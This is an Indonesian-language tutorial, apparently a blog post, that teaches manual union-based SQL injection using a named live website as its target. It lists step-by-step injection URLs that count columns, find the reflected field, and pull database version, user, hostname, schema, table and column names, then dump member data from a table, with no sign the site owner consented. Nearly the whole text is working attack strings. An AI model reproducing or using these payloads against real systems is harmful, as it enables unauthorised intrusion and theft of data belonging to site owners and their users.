Kebutuhan :
1. Dork SQL injection
Lihat
Langkah - Langkah :
Saya sudah mempunyai live target vuln :
http://bearforest.com.tw/news_view.php?id=6
selanjutnya kita beri tanda petik ' di akhir url. guna untuk mengetahui itu vuln atau tidak.
pesan errornya :
" SQL語法錯誤: select * from preferential where DELETE_ID=0 and ITEM ='6''
錯
誤訊息:You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ''6''' at line 1 "
Berarti jelas websitenya ada celah untuk kita Inject.
+ Kemudian tambahkan perintah : order+by+ dan -- pada akhir url
http://bearforest.com.tw/news_view.php?id=6'+order+by+1--+ ( ini no error )
http://bearforest.com.tw/news_view.php?id=6'+order+by+2--+ ( ini no error )
http://bearforest.com.tw/news_view.php?id=6'+order+by+3--+ ( ini no error )
http://bearforest.com.tw/news_view.php?id=6'+order+by+4--+ ( ini no error )
http://bearforest.com.tw/news_view.php?id=6'+order+by+5--+ ( ini no error )
http://bearforest.com.tw/news_view.php?id=6'+order+by+6--+ ( ini no error )
dan seterusnya sampai menemukan error nya, seperti saya error nya disini :
http://bearforest.com.tw/news_view.php?id=6'+order+by+16--+
berarti validnya hanya sampai pada "16" (Column Count is 16)
nah, disini kita masuk pada tahap lanjutnya.
kita akan mencari angka ajaib pada websitenya :D
kita lakukan langkah berikutnya dengan perintah berikut.
http://bearforest.com.tw/news_view.php?id=-6'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
disini saya angka ajaib yang muncul yakni angka "14"
+ kemudian kita akan mengecek versi Database, Version, data direktori, dan user.
masukkan perintah :
http://bearforest.com.tw/news_view.php?id=-6'+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(database(),0x0a,version(),0x0a,@@datadir,0x0a,@@hostname,0x0a,user()),15--+
database()
version()
@@datadir
@@hostname
user()
+ untuk melihat semua database yang ada pada web target :
http://bearforest.com.tw/news_view.php?id=-6'+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(0x3c62723e,schema_name),15+from+information_schema.schemata--+
+ Kemudian kita akan mencari table databasenya
perintahnya yaitu : "group_concat(table_name)" dan from+information_schema.tables+where+table_schema=database()--"
http://bearforest.com.tw/news_view.php?id=-6'+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(0x3c62723e,table_name),15+from+information_schema.tables+where+table_schema=database()--+
+ Sesudah itu kita akan coba melihat kolom dari table yang kita inginkan.
disini saya ingin melihat kolom dari tabel " sys_group "
disini kita perlu encode string HEX dengan hack bar, masukkan nama table yang ingin kamu encode.
sys_group hasil encode nya = 7379735f67726f7570 , disini kita harus tambahkan 0x didepan encodenya. jadi = 0x7379735f67726f7570
Setelah kita encoding stringnya, langsung saja kita cari kolom dari tablenya.
Perintah yang kita ketikkan yakni : "group_concat(column_name)"
Kemudian di akhir url :
+from+information_schema.columns+where+table_name=0x7379735f67726f7570
ganti "database()--" dengan "0x7379735f67726f7570"
penjelasan :
- 0x (spasi)
- 7379735f67726f7570 adalah "sys_group" yang telah kita encode tadi
http://bearforest.com.tw/news_view.php?id=-6'+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(0x3c62723e,column_name),15+from+information_schema.columns+where+table_name=0x7379735f67726f7570--+
+ Terakhir kita lihat dari kolom table yang kalian mau lihat, disini saya ingin melihat kolom =
"MEMBER_NUM" dan "GROUP_CONTROL"
ketikkan kode berikut ini : "group_concat(MEMBER_NUM,0x3a,GROUP_CONTROL)" dan "from+sys_group--"
penjelasan : 0x3a ( : ) pembatas.
penjelasan : sys_group itu nama tabel dari kolom diatas.
http://bearforest.com.tw/news_view.php?id=-6'+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(MEMBER_NUM,0x3a,GROUP_CONTROL),15+from+sys_group--+
muncul dah data nya hehehehe..
kalau saya disini live target nya tidak ada TABEL admin nya. jadi ini hanya sekedar contoh dan gambaran.
sekian dan terima kasih.